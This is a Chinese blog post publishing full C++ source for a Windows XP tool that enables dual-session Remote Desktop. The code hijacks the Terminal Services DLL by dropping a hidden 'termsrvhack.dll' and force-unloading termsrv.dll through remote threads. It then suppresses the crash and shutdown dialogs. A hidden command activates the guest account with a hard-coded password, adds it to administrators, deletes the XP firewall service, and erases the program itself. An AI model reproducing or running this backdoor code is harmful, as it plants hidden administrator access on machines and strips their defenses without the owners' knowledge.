生活的天平本不平衡，只有通过努力改变其偏向。

xp下双开3389源码

2008-05-25

作者：cooldiyer
来源：红狼

很早时候写的,方便大家用,代码丢了我也可以百度到
编译后,直接运行,XP的终端自动开启激活guest,密码为cooldiyer,加管理员组
并且可以多用户登录
声明,原创………………..

C++代码
  1. // xp3389.cpp : XP下双开3389的工具 Code By CoolDiyer
  2. //
  3. #pragma comment(linker, ”/FILEALIGN:0×200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW”)
  4. #include ”stdafx.h”
  5. #include ”resource.h”
  6. #include
  7. #include
  8. DWORD
  9. GetProcessId(LPCTSTR szProcName)
  10. {
  11. PROCESSENTRY32 pe;
  12. DWORD dwPid;
  13. DWORD dwRet;
  14. BOOL bFound = FALSE;
  16. HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  17. if (hSP)
  18. {
  19. pe.dwSize = sizeof( pe );
  21. for (dwRet = Process32First(hSP, &pe);
  22. dwRet;
  23. dwRet = Process32Next(hSP, &pe))
  24. {
  25. if (lstrcmpi( szProcName, pe.szExeFile) == 0)
  26. {
  27. dwPid = pe.th32ProcessID;
  28. bFound = TRUE;
  29. break;
  30. }
  31. }
  32. CloseHandle(hSP);
  34. if (bFound == TRUE)
  35. {
  36. return dwPid;
  37. }
  38. }
  39. return NULL;
  40. }
  42. bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
  43. {
  44. if (!IsWindowVisible(hwnd))
  45. return true;
  47. DWORD dwWindowThreadId = NULL;
  48. DWORD dwLsassId = (DWORD)lParam;
  49. GetWindowThreadProcessId(hwnd, &dwWindowThreadId);
  50. if (dwWindowThreadId == (DWORD)lParam)
  51. {
  52. // 关闭指定进程的窗口
  53. SendMessage(hwnd, WM_CLOSE, 0, 0);
  54. }
  55. return true;
  56. }
  57. // 写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) from NameLess114
  58. int WriteRegEx(HKEY MainKey, LPCTSTR SubKey, LPCTSTR Vname, DWORD Type, char* szData, DWORD dwData, int Mode)
  59. {
  60. HKEY hKey;
  61. DWORD dwDisposition;
  62. int iResult =0;
  64. __try
  65. {
  66. // SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
  67. switch(Mode)
  68. {
  69. case 0:
  70. if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
  71. __leave;
  72. case 1:
  73. if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
  74. __leave;
  75. switch(Type)
  76. {
  77. case REG_SZ:
  78. case REG_EXPAND_SZ:
  79. if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
  80. iResult =1;
  81. break;
  82. case REG_DWORD:
  83. if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
  84. iResult =1;
  85. break;
  86. case REG_BINARY:
  87. break;
  88. }
  89. break;
  90. case 2:
  91. if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
  92. __leave;
  93. if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
  94. iResult =1;
  95. break;
  96. case 3:
  97. if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
  98. __leave;
  99. if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
  100. iResult =1;
  101. break;
  102. }
  103. }
  104. __finally
  105. {
  106. RegCloseKey(MainKey);
  107. RegCloseKey(hKey);
  108. }
  109. return iResult;
  110. }
  111. bool DebugPrivilege(const char *PName, BOOL bEnable)
  112. {
  113. BOOL bResult = TRUE;
  114. HANDLE hToken;
  115. TOKEN_PRIVILEGES  TokenPrivileges;
  117. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
  118. {
  119. bResult = FALSE;
  120. return bResult;
  121. }
  122. TokenPrivileges.PrivilegeCount = 1;
  123. TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
  125. LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
  126. AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
  127. if (GetLastError() != ERROR_SUCCESS)
  128. {
  129. bResult = FALSE;
  130. }
  132. CloseHandle(hToken);
  133. return bResult;
  134. }
  135. bool UnloadRemoteModule(DWORD dwProcessID, HANDLE hModuleHandle)
  136. {
  137. HANDLE hRemoteThread;
  138. HANDLE hProcess;
  140. if (hModuleHandle == NULL)
  141. return false;
  142. hProcess=::OpenProcess(PROCESS_VM_WRITE|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION, FALSE, dwProcessID);
  143. if (hProcess == NULL)
  144. return false;
  146. HMODULE hModule=::GetModuleHandle(”kernel32.dll”);
  147. LPTHREAD_START_ROUTINE pfnStartRoutine = (LPTHREAD_START_ROUTINE)::GetProcAddress(hModule, “FreeLibrary”);
  148. hRemoteThread=::CreateRemoteThread(hProcess, NULL, 0, pfnStartRoutine, hModuleHandle, 0, NULL);
  150. if(hRemoteThread==NULL)
  151. {
  152. ::CloseHandle(hProcess);
  153. return false;
  154. }
  155. ::WaitForSingleObject(hRemoteThread,INFINITE);
  156. ::CloseHandle(hProcess);
  157. ::CloseHandle(hRemoteThread);
  158. return true;
  159. }
  160. HANDLE FindModule(DWORD dwProcessID, LPCTSTR lpModulePath)
  161. {
  162. HANDLE hModuleHandle = NULL;
  163. MODULEENTRY32 me32={0};
  164. HANDLE hModuleSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID);
  165. me32.dwSize=sizeof(MODULEENTRY32);
  166. if(::Module32First(hModuleSnap, &me32))
  167. {
  168. do
  169. {
  170. if (!lstrcmpi(me32.szExePath, lpModulePath))
  171. {
  172. hModuleHandle = me32.hModule;
  173. break;
  174. }
  175. }while(::Module32Next(hModuleSnap,&me32));
  176. }
  177. ::CloseHandle(hModuleSnap);
  178. return hModuleHandle;
  179. }
  180. bool UnloadModule(LPCTSTR lpModulePath)
  181. {
  182. BOOL bRet = false;
  183. PROCESSENTRY32 pe32;
  184. pe32.dwSize = sizeof(pe32);
  186. HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  188. //查找相关的进程
  189. if(::Process32First(hProcessSnap, &pe32))
  190. {
  191. do
  192. {
  193. HANDLE hModuleHandle = FindModule(pe32.th32ProcessID, lpModulePath);
  194. if (hModuleHandle != NULL)
  195. {
  196. bRet = UnloadRemoteModule(pe32.th32ProcessID, hModuleHandle);
  197. }
  198. }while (Process32Next(hProcessSnap,&pe32));
  199. }
  200. CloseHandle(hProcessSnap);
  201. return bRet;
  202. }
  203. void StartService(LPCTSTR lpService)
  204. {
  205. SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
  206. if ( NULL != hSCManager )
  207. {
  208. SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
  209. if ( NULL != hService )
  210. {
  211. StartService(hService, 0, NULL);
  212. CloseServiceHandle( hService );
  213. }
  214. CloseServiceHandle( hSCManager );
  215. }
  216. }
  217. BOOL ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
  218. {
  219. HGLOBAL hRes;
  220. HRSRC hResInfo;
  221. HANDLE hFile;
  222. DWORD dwBytes;
  224. hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);
  225. if (hResInfo == NULL)
  226. return FALSE;
  227. hRes = LoadResource(NULL, hResInfo);
  228. if (hRes == NULL)
  229. return FALSE;
  230. hFile = CreateFile
  231. (
  232. lpFileName,
  233. GENERIC_WRITE,
  234. FILE_SHARE_WRITE,
  235. NULL,
  236. CREATE_ALWAYS,
  237. FILE_ATTRIBUTE_NORMAL,
  238. NULL
  239. );
  240. if (hFile == NULL)
  241. return FALSE;
  242. WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);
  243. CloseHandle(hFile);
  245. return TRUE;
  246. }
  247. void SetReg()
  248. {
  249. WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Services\\TermService”,”Start”,REG_DWORD,NULL,2,0);
  250. WriteRegEx(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon”, “KeepRASConnections”, REG_SZ, “1″, 0, 0);
  251. WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Control\\Terminal Server”, “fDenyTSConnections”, REG_DWORD, NULL, 0, 0);
  252. WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core”, “EnableConcurrentSessions”,
  253. REG_DWORD, NULL, 1, 0);
  254. WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters”, “ServiceDll”, REG_EXPAND_SZ,
  255. “%SystemRoot%\\system32\\termsrvhack.dll”, 0, 0);
  256. }
  257. void ReleaseDll()
  258. {
  259. char strSystemPath[MAX_PATH];
  260. char strDllcachePath[MAX_PATH];
  261. GetSystemDirectory(strSystemPath, sizeof(strSystemPath));
  262. GetSystemDirectory(strDllcachePath, sizeof(strDllcachePath));
  263. lstrcat(strSystemPath, “\\termsrvhack.dll”);
  264. lstrcat(strDllcachePath, “\\dllcache\\termsrvhack.dll”);
  265. ReleaseResource(IDR_DLL, “BIN”, strSystemPath);
  266. ReleaseResource(IDR_DLL, “BIN”, strDllcachePath);
  267. SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
  268. SetFileAttributes(strDllcachePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
  269. }
  270. bool IsOSXP()
  271. {
  272. OSVERSIONINFOEX OsVerInfoEx;
  273. OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
  274. GetVersionEx((OSVERSIONINFO *)&OsVerInfoEx); // 注意转换类型
  275. return OsVerInfoEx.dwMajorVersion == 5 && OsVerInfoEx.dwMinorVersion == 1;
  276. }
  277. void HijackService()
  278. {
  279. char strDll[MAX_PATH];
  280. GetSystemDirectory(strDll, sizeof(strDll));
  281. lstrcat(strDll, “\\termsrv.dll”);
  282. // 释放termsrvhack.dll
  283. ReleaseDll();
  285. // 遍历进程卸载现在加载的DLL
  286. DebugPrivilege(SE_DEBUG_NAME, TRUE);
  287. if (!UnloadModule(strDll))
  288. return;
  289. DebugPrivilege(SE_DEBUG_NAME, FALSE);
  291. // 关闭要弹出的出错对话框和因DLL强制卸载使一些服务异常终止而弹出来的自动关机对话框
  292. // 对进程赋予关闭权限
  293. DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);
  294. DWORD dwLsassId = GetProcessId(”csrss.exe”);
  295. while (!AbortSystemShutdown(NULL))
  296. {
  297. // 一些系统是会弹出drwtsn32.exe
  298. DWORD dwDrwtsn32Id = GetProcessId(”drwtsn32.exe”);
  299. if (dwDrwtsn32Id != NULL)
  300. {
  301. EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwDrwtsn32Id);
  302. }
  303. // 模块强制卸载时会出错，关闭csrss.exe进程弹出的出错窗口
  304. EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwLsassId);
  305. Sleep(10);
  306. }
  307. DebugPrivilege(SE_SHUTDOWN_NAME, FALSE);
  308. }
  309. int WINAPI WinMain(
  310. HINSTANCE hInstance, // handle to current instance
  311. HINSTANCE hPrevInstance, // handle to previous instance
  312. LPSTR lpCmdLine, // command line
  313. int nCmdShow // show state
  314. )
  315. {
  316. // 一些注册表的操作
  317. SetReg();
  318. if (IsOSXP())
  319. {
  320. // 替换DLL
  321. HijackService();
  322. }
  323. // 开始终端服务
  324. StartService(”TermService”);
  325. // 激活guest,加管理员组，自删除，停止XP自带的防火墙，并删除它
  326. char strCommand[1024];
  327. char strSelf[MAX_PATH];
  328. GetModuleFileName(NULL, strSelf, sizeof(strSelf));
  329. wsprintf(strCommand, “cmd.exe /c net user guest /active:yes && net user guest cooldiyer && net localgroup administrators guest /add && net stop SharedAccess /y && del \”%s\” && sc delete SharedAccess”, strSelf);
  330. WinExec(strCommand, SW_HIDE);
  331. return 0;
  332. }
作者：lonkil | 分类目录：编程开发 | 标签： 、

评论已关闭。